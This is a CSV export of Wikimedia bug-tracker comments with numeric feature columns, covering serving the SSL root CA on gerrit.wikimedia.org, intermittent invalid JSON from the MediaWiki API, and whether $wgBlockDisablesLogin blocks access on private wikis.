165273,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,See also https://jira.toolserver.org/browse/TS-1369,,,1336386977,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,See also URL
165268,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"Equifax / GeoTrust Root CA certificates for import on toolserver:

http://www.geotrust.com/resources/root-certificates/index.html

the gerrit cert is signed by Equifax",,,1336383443,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,True,,,-69,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.9047619047619048,"Equifax / GeoTrust Root CA certificates for import on toolserver:

URL

the gerrit cert is signed by Equifax"
165263,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"A root certificate received via TLS Server Certificate exchange does not make it into the list of browser's trusted root certificates. I've never heard about the process of sneaking-in as you describe. You also cannot use root certificate as intermediate, since root certificate by definition has issuer == subject. An intermediate would need to have issuer set to something else.

RFC 5246, section 7.4.2 says:

certificate_list
      This is a sequence (chain) of certificates.  The sender's
      certificate MUST come first in the list.  Each following
      certificate MUST directly certify the one preceding it.  Because
      certificate validation requires that root keys be distributed
      independently, the self-signed certificate that specifies the root
      certificate authority MAY be omitted from the chain, under the
      assumption that the remote end must already possess it in order to
      validate it in any case.

Including root certificate might have the advantage for clients not having it stored locally, i.e. in theory OCSP or CRL information from extended v3 attributes could be used to verify validity of the whole chain. 

Path validation process (RFC 3280 section 6) describes a whole validation
as coming from the top (CA) to the bottom (host certificate). If you don't
have the issuer name (and most importantly, public key) you can't really
verify the chain. Please note, that even if you don't trust the trust anchor
(root CA) you can do certain validation - like expiration dates, names
and making sure the whole chain is really working. So even without trust anchor set some basic validation is still possible. 

By the way, https://en.wikipedia.org/ servers a whole CA path including the root and the intermediate CA as well:

depth=2 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance EV Root CA
verify return:1
depth=1 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance CA-3
verify return:1
depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikipedia.org
verify return:1

Please note, it's also a different root. (Because this is the so-called EV certificate).",,,1334137284,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-72,True,0.6,0.2,0.0,0.6,1.2,3.6,0.6,0.4,0.0,0.4,2.0,0.8,0.0,0.0,0.0,0.8,0.0,5.2,7.4,0.2,0.6,0.6,0.2,0.0,0.4,0.0,0.0,0.2,1.0,0.2,0.4,3.6,0.6,1.2,0.4,1.2,0.0,0.0,0.0,0.4,0.0,0.0,0.0,2.6,0.0,0.0,0.2,0.2,0.2,14.6,0.4,0.2,0.0,0.6,0.0,0.2,0.0,0.4,0.2,0.0,0.4,1.4,0.0,0.0,0.0,0.2,0.0,5.6,1.4,14.4,1.6,0.8,6.6,0.0,0.0,0.0,0.0,4.4,1.0,0.6,0.0,2.6,7.4,11.0,0.0,0.4,0.0,2.6,0.4,0.2,1.2,0.0,1.8,0.2,0.2,0.8,4.163121098626716,0.6858676654182272,"A root certificate received via TLS Server Certificate exchange does not make it into the list of browser's trusted root certificates. I've never heard about the process of sneaking-in as you describe. You also cannot use root certificate as intermediate, since root certificate by definition has issuer == subject. An intermediate would need to have issuer set to something else.

RFC 5246, section 7.4.2 says:

certificate_list
      This is a sequence (chain) of certificates.  The sender's
      certificate MUST come first in the list.  Each following
      certificate MUST directly certify the one preceding it.  Because
      certificate validation requires that root keys be distributed
      independently, the self-signed certificate that specifies the root
      certificate authority MAY be omitted from the chain, under the
      assumption that the remote end must already possess it in order to
      validate it in any case.

Including root certificate might have the advantage for clients not having it stored locally, i.e. in theory OCSP or CRL information from extended v3 attributes could be used to verify validity of the whole chain. 

Path validation process (RFC 3280 section 6) describes a whole validation
as coming from the top (CA) to the bottom (host certificate). If you don't
have the issuer name (and most importantly, public key) you can't really
verify the chain. Please note, that even if you don't trust the trust anchor
(root CA) you can do certain validation - like expiration dates, names
and making sure the whole chain is really working. So even without trust anchor set some basic validation is still possible. 

By the way, URL servers a whole CA path including the root and the intermediate CA as well:

depth=2 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance EV Root CA
verify return:1
depth=1 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance CA-3
verify return:1
depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikipedia.org
verify return:1

Please note, it's also a different root. (Because this is the so-called EV certificate)."
165259,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"(In reply to comment #4)
> 1) To achieve the change as envisioned by submitter - ""SSLCertificateChainFile""
> option should be used, not ""SSLCACertificateFile"". This is a good thing so
> probably Gerrit change #4334 could be amended and not reverted.

I'm not certain it's a good thing and I still think it should be reverted. I don't care so much for the case of gerrit but in general (and certainly for a higher usage domain like a content wiki; note the same root CA is used for both bugzilla.wikimedia.org and www.wikimedia.org and probably others) I think we probably should not serve the root CA cert in a cert chain unless we actually expect it to make a difference for a client. (so, either because the CA told us to or because someone found a UA that behaves differently whether or not we serve the root cert in a chain)

The only reason I know of for a widely accepted root CA cert to also be an intermediate cert signed by some other root CA is if it's a new cert that wants to get into browsers earlier than it would otherwise. (or to get in retroactively for an already released or frozen root store)

That is a state that a root would be in only at the beginning of it's life cycle; it won't get to be an intermediate later after already being an accepted root. This particular root seems to have been first generated in 1998.

I'm no expert on PKI genealogy or SSL / TLS service configuration or protocols. However, my guess is that in all cases where serving a chain would make a difference for conforming clients, the issuing CA would instruct the new cert holder to serve a chain and would provide copies of all the intermediate CA certs to be served. We could ask Equifax explicitly (or I could myself) but I doubt this root doubles as an intermediary for a modern (last ~8 years?) store that doesn't also store it directly. (that's mostly a guess but I did do some quick and dirty [[WP:OR]] that makes me think it's been in mozilla's store either >10 yrs or at least >9.8 yrs)",,,1334111913,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-72,True,1.25,0.25,0.0,1.0,1.5,5.25,2.0,0.5,0.0,0.5,3.25,1.25,0.0,0.5,0.0,4.25,0.25,7.75,11.75,0.25,2.25,0.5,0.0,0.0,0.75,0.25,0.0,0.0,0.5,1.25,0.0,5.75,3.25,2.25,0.75,0.0,0.25,0.0,0.0,0.5,0.25,0.0,0.5,0.25,0.0,0.0,0.25,0.5,0.25,15.25,1.0,0.75,0.25,0.0,0.0,0.25,0.0,0.25,0.5,0.0,0.5,1.25,0.25,1.25,0.0,0.75,0.0,8.0,3.0,8.0,2.0,5.0,10.25,0.0,0.0,0.0,0.25,5.5,0.0,1.0,0.0,6.5,11.75,3.75,0.25,0.0,0.0,6.5,0.25,1.25,5.5,0.75,0.75,0.5,0.25,0.75,3.7459762255417632,0.7207290132547864,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

I'm not certain it's a good thing and I still think it should be reverted. I don't care so much for the case of gerrit but in general (and certainly for a higher usage domain like a content wiki; note the same root CA is used for both bugzilla.wikimedia.org and www.wikimedia.org and probably others) I think we probably should not serve the root CA cert in a cert chain unless we actually expect it to make a difference for a client. (so, either because the CA told us to or because someone found a UA that behaves differently whether or not we serve the root cert in a chain)

The only reason I know of for a widely accepted root CA cert to also be an intermediate cert signed by some other root CA is if it's a new cert that wants to get into browsers earlier than it would otherwise. (or to get in retroactively for an already released or frozen root store)

That is a state that a root would be in only at the beginning of it's life cycle; it won't get to be an intermediate later after already being an accepted root. This particular root seems to have been first generated in 1998.

I'm no expert on PKI genealogy or SSL / TLS service configuration or protocols. However, my guess is that in all cases where serving a chain would make a difference for conforming clients, the issuing CA would instruct the new cert holder to serve a chain and would provide copies of all the intermediate CA certs to be served. We could ask Equifax explicitly (or I could myself) but I doubt this root doubles as an intermediary for a modern (last ~8 years?) store that doesn't also store it directly. (that's mostly a guess but I did do some quick and dirty [[WP:OR]] that makes me think it's been in mozilla's store either >10 yrs or at least >9.8 yrs)"
165254,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"I have commented in gerrit:

1) To achieve the change as envisioned by submitter - ""SSLCertificateChainFile"" option should be used, not ""SSLCACertificateFile"". This is a good thing so probably gerrit change 4334 could be amended and not reverted.

2) This change will have no effect on toolserver.org client - libcurl is checking certificates by default (and so does git), and the only proper fix is adding the root certificate as trusted per https://jira.toolserver.org/browse/TS-1351.",,,1334084689,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-73,True,0.0,0.0,0.0,2.0,2.0,5.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,9.0,1.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,3.0,4.2727272727272725,0.7159090909090909,"I have commented in gerrit:

1) To achieve the change as envisioned by submitter - ""SSLCertificateChainFile"" option should be used, not ""SSLCACertificateFile"". This is a good thing so probably gerrit change 4334 could be amended and not reverted.

2) This change will have no effect on toolserver.org client - libcurl is checking certificates by default (and so does git), and the only proper fix is adding the root certificate as trusted per URL"
165248,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"This solution seems to be using a config option which is for client authentication w/ client certs, not for certs coming from a server.

http://httpd.apache.org/docs/2.0/ssl/ssl_howto.html#allclients

Serving a CA cert in the certificate chain is only appropriate for intermediate certs not root CA certs AIUI. Example of appropriate serving of certificate chain: bug 23631

See also https://jira.toolserver.org/browse/TS-1351.

IMO, this (change 4334) clearly should be reverted.",,,1334080937,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-73,True,0.0,0.0,0.0,1.0,3.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,24.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,4.0,0.0,0.0,0.0,4.2368421052631575,0.6973684210526315,"This solution seems to be using a config option which is for client authentication w/ client certs, not for certs coming from a server.

URL

Serving a CA cert in the certificate chain is only appropriate for intermediate certs not root CA certs AIUI. Example of appropriate serving of certificate chain: bug 23631

See also URL

IMO, this (change 4334) clearly should be reverted."
165242,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"<mutante> !log manganese (gerrit) now sends SSL CA certificate on https, (curl
          -vvv says verify ok), should resolve [[RT:2777]] and [[BZ:35709]]",,,1333722205,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,3.4615384615384617,0.7692307692307693,"<mutante> !log manganese (gerrit) now sends SSL CA certificate on https, (curl
          -vvv says verify ok), should resolve [[RT:2777]] and [[BZ:35709]]"
165233,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"Fixed?

<gerrit-wm> New patchset: Dzahn; ""add SSLCACertificate file to gerrit apache
            site"" [operations/puppet] (production) -
            https://gerrit.wikimedia.org/r/4334",,,1333642252,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-73,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.352941176470588,0.8823529411764706,"Fixed?

<gerrit-wm> New patchset: Dzahn; ""add SSLCACertificate file to gerrit apache
            site"" [operations/puppet] (production) -
            GERRIT_URL"
37300,API returns invalid JSON despite HTTP status 200,"Since a while I enabled a semi-automated reporting of a very heavily used script on WikimediCommons.

The user has the possibility to press a button to post the error message to a list of those.

Now, after about 1 month there are 4 reported (this means that this occurs much more often) errors:

API request returned code 200 parsererror. Error code is SyntaxError: JSON.parse: Parsed string contains more than single value: <!DOCTY...

or

API request returned code 200 parsererror. Error code is SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data

This means that jQuery received a 200 response and tried to build a JS-object for the presumed json-string and that failed.

Since we are using ""secure techniques"" (js objects) to build the query string, and the format-parameter is always set to json by a wrapper-method (all requests are handled by doAPICall), this problem only occurs when editing, I think the problem is at the server side.

If you would like to be up-to-date with those issues, just watch https://secure.wikimedia.org/wikipedia/commons/wiki/MediaWiki_talk:AjaxQuickDelete.js/auto-errors for new entries with ""API request returned code"" (I could make a separate page for server errors, if you want or send them with JSONP to a health-status-server. 
It's a page you can learn a lot from: E.g. ""API request failed (hookaborted): The modification you tried to make was aborted by an extension hook"" is a very bad error-message. User has to guess which hook of the the thousands.)

--------------------------
**Version**: 1.19
**Severity**: normal",Medium,50.0,1332084900,1424446950.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-mc5lgpogdc3y45vi66pi,task_description,duplicate,True,c2,1,False,False,False,-76,True,0.5,0.0,0.5,0.75,0.0,3.5,0.75,0.0,0.0,0.5,0.25,0.0,0.0,0.25,0.25,1.0,0.0,3.0,9.5,0.0,1.75,0.0,0.75,0.0,2.75,0.0,0.0,0.0,0.5,0.25,0.0,4.75,1.5,0.25,1.0,1.0,0.0,0.0,1.0,1.25,0.0,0.25,0.25,1.5,0.5,0.0,0.0,0.0,0.5,18.5,1.25,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.25,6.75,2.5,8.5,1.75,1.25,8.75,0.0,0.0,0.25,0.0,3.25,0.0,1.5,0.0,2.75,9.5,2.5,0.0,1.5,0.0,2.75,0.0,0.75,3.75,0.25,0.5,0.5,0.0,0.25,3.8470467234792833,0.7536732295033792,"Since a while I enabled a semi-automated reporting of a very heavily used script on WikimediCommons.

The user has the possibility to press a button to post the error message to a list of those.

Now, after about 1 month there are 4 reported (this means that this occurs much more often) errors:

API request returned code 200 parsererror. Error code is SyntaxError: JSON.parse: Parsed string contains more than single value: <!DOCTY...

or

API request returned code 200 parsererror. Error code is SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data

This means that jQuery received a 200 response and tried to build a JS-object for the presumed json-string and that failed.

Since we are using ""secure techniques"" (js objects) to build the query string, and the format-parameter is always set to json by a wrapper-method (all requests are handled by doAPICall), this problem only occurs when editing, I think the problem is at the server side.

If you would like to be up-to-date with those issues, just watch URL for new entries with ""API request returned code"" (I could make a separate page for server errors, if you want or send them with JSONP to a health-status-server. 
It's a page you can learn a lot from: E.g. ""API request failed (hookaborted): The modification you tried to make was aborted by an extension hook"" is a very bad error-message. User has to guess which hook of the the thousands.)

--------------------------
**Version**: 1.19
**Severity**: normal"
167280,API returns invalid JSON despite HTTP status 200,"Thanks for the pointers.

After I changed the order in which the object is built, this error seems to persist:

MediaWiki_talk%3AAjaxQuickDelete.js%2Fauto-errors&action=historysubmit&diff=68604416&oldid=68604084

(BTW, the user uses IE8 if this is of importance)

Of course browsers are free how they convert an object into a json-string but this error occurs too often that I would say it is a seldom loss of information somewhere between wikimedia and the client. I could try to improve the error-handler further to get the whole response-text & -headers which is difficult because it should not contain private/secret data (setCookies, tokens, ...).",,,1332259905,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-mc5lgpogdc3y45vi66pi,task_subcomment,,True,c2,1,False,,,-76,True,0.0,0.0,0.0,0.5,1.0,4.5,2.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,5.5,9.0,0.0,2.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,1.0,0.0,5.5,0.0,1.5,2.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,1.5,0.0,0.0,0.0,15.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,6.5,3.0,5.0,2.5,2.0,9.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,4.5,9.0,2.0,0.0,0.0,0.0,4.5,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.566234796404019,0.8212585933368588,"Thanks for the pointers.

After I changed the order in which the object is built, this error seems to persist:

MediaWiki_talk%3AAjaxQuickDelete.js%2Fauto-errors&action=historysubmit&diff=68604416&oldid=68604084

(BTW, the user uses IE8 if this is of importance)

Of course browsers are free how they convert an object into a json-string but this error occurs too often that I would say it is a seldom loss of information somewhere between wikimedia and the client. I could try to improve the error-handler further to get the whole response-text & -headers which is difficult because it should not contain private/secret data (setCookies, tokens, ...)."
167273,API returns invalid JSON despite HTTP status 200,"(In reply to comment #0)
> If you would like to be up-to-date with those issues, just watch
> https://secure.wikimedia.org/wikipedia/commons/wiki/MediaWiki_talk:AjaxQuickDelete.js/auto-errors
> for new entries with ""API request returned code""

Nice!  But, you do know you can just change ""http"" to ""https"" now, right?

That would give you:
 https://commons.wikimedia.org/wiki/MediaWiki_talk:AjaxQuickDelete.js/auto-errors

> It's a page you can learn a lot from: E.g. ""API request failed (hookaborted):
> The modification you tried to make was aborted by an extension hook"" is a very
> bad error-message. User has to guess which hook of the the thousands.)

See bug #22922 and bug #14261 comment #8  -- if you find others, please report them and mark #14261 for the tracker.",,,1332190196,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-mc5lgpogdc3y45vi66pi,task_subcomment,,True,c2,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,4.0,0.0,5.0,5.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,15.0,1.0,4.0,2.0,0.0,0.0,1.0,6.0,10.0,1.0,6.0,0.0,6.0,6.0,6.0,1.0,5.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.926829268292683,0.6341463414634146,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Nice!  But, you do know you can just change ""http"" to ""https"" now, right?

That would give you:
 URL

QUOTE
QUOTE
QUOTE

See bug #22922 and bug #14261 comment #8  -- if you find others, please report them and mark #14261 for the tracker."
167264,API returns invalid JSON despite HTTP status 200,"Maybe the post requests are somehow cut off or it is a specific Wikimedia issue. These errors seem to occur randomly and I have no clue how to reproduce.

One of the failed requests may have looked like:
POST to commons.wikimedia.org/w/api.php

Params:
action: edit
summary: Nominating for deletion
watchlist: preferences
title: File:Copa Airlines Colombia logo.jpg
token: //+
prependtext: {{delete|reason=Per [[:Commons:Deletion requests/File:Copa Airlines.jpg]] ~|subpage=File:Copa Airlines Colombia logo.jpg|year=2012|month=March|day=18}}
format: json

(action=edit&summary=Nominating+for+deletion&watchlist=preferences&title=File%3ACopa+Airlines+Colombia+logo.jpg&token=%2F%2F%2B&prependtext=%7B%7Bdelete%7Creason%3DPer+%5B%5B%3ACommons%3ADeletion+requests%2FFile%3ACopa+Airlines.jpg%5D%5D+~%7Csubpage%3DFile%3ACopa+Airlines+Colombia+logo.jpg%7Cyear%3D2012%7Cmonth%3DMarch%7Cday%3D18%7D%7D&format=json)

I know that the edit-token should be sent last. Will try to get it after the text. And, of course it is desirable having the format=json param first. Will make same changes and return if the issue persists.",,,1332159382,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-mc5lgpogdc3y45vi66pi,task_subcomment,,True,c2,1,False,,,-76,True,0.0,0.0,0.0,1.0,0.0,3.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,2.5,7.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,3.5,0.5,1.5,0.0,0.0,0.5,0.0,0.5,1.5,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,18.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,4.0,2.0,15.5,1.5,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.5,7.0,9.0,0.0,0.0,0.0,4.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,2.5,5.8378396029258095,0.7256400208986415,"Maybe the post requests are somehow cut off or it is a specific Wikimedia issue. These errors seem to occur randomly and I have no clue how to reproduce.

One of the failed requests may have looked like:
POST to commons.wikimedia.org/w/api.php

Params:
action: edit
summary: Nominating for deletion
watchlist: preferences
title: File:Copa Airlines Colombia logo.jpg
token: //+
prependtext: {{delete|reason=Per [[:Commons:Deletion requests/File:Copa Airlines.jpg]] ~|subpage=File:Copa Airlines Colombia logo.jpg|year=2012|month=March|day=18}}
format: json

(action=edit&summary=Nominating+for+deletion&watchlist=preferences&title=File%3ACopa+Airlines+Colombia+logo.jpg&token=%2F%2F%2B&prependtext=%7B%7Bdelete%7Creason%3DPer+%5B%5B%3ACommons%3ADeletion+requests%2FFile%3ACopa+Airlines.jpg%5D%5D+~%7Csubpage%3DFile%3ACopa+Airlines+Colombia+logo.jpg%7Cyear%3D2012%7Cmonth%3DMarch%7Cday%3D18%7D%7D&format=json)

I know that the edit-token should be sent last. Will try to get it after the text. And, of course it is desirable having the format=json param first. Will make same changes and return if the issue persists."
167254,API returns invalid JSON despite HTTP status 200,"**EN.WP.ST47** wrote:

What request causes the API to return invalid JSON data, and what JSON data does it return?",,,1332097089,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mc5lgpogdc3y45vi66pi,task_subcomment,,True,c2,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5925925925925926,0.7777777777777778,"**EN.WP.ST47** wrote:

What request causes the API to return invalid JSON data, and what JSON data does it return?"
37252,$wgBlockDisablesLogin - effective on a private wiki?,"At http://mediawiki.org/wiki/Extension_talk:$wgBlockDisablesLogin, it appears that an anonymous user has found a bug in the software. Apparently, while logins are disabled, read/write access is still granted to a user blocked with this setting set.

--------------------------
**Version**: 1.18.x
**Severity**: normal",Medium,50.0,1331872920,1353752688.0,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,,False,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_description,declined,True,c2,1,False,False,True,-76,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,18.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.912280701754386,0.7719298245614035,"At URL it appears that an anonymous user has found a bug in the software. Apparently, while logins are disabled, read/write access is still granted to a user blocked with this setting set.

--------------------------
**Version**: 1.18.x
**Severity**: normal"
164875,$wgBlockDisablesLogin - effective on a private wiki?,I've tested this in a few ways with my blocked account on internal.wikimedia.org and it works for me.,,,1353752688,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_subcomment,,True,c2,1,True,,,-40,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,4.2,1.0,I've tested this in a few ways with my blocked account on internal.wikimedia.org and it works for me.
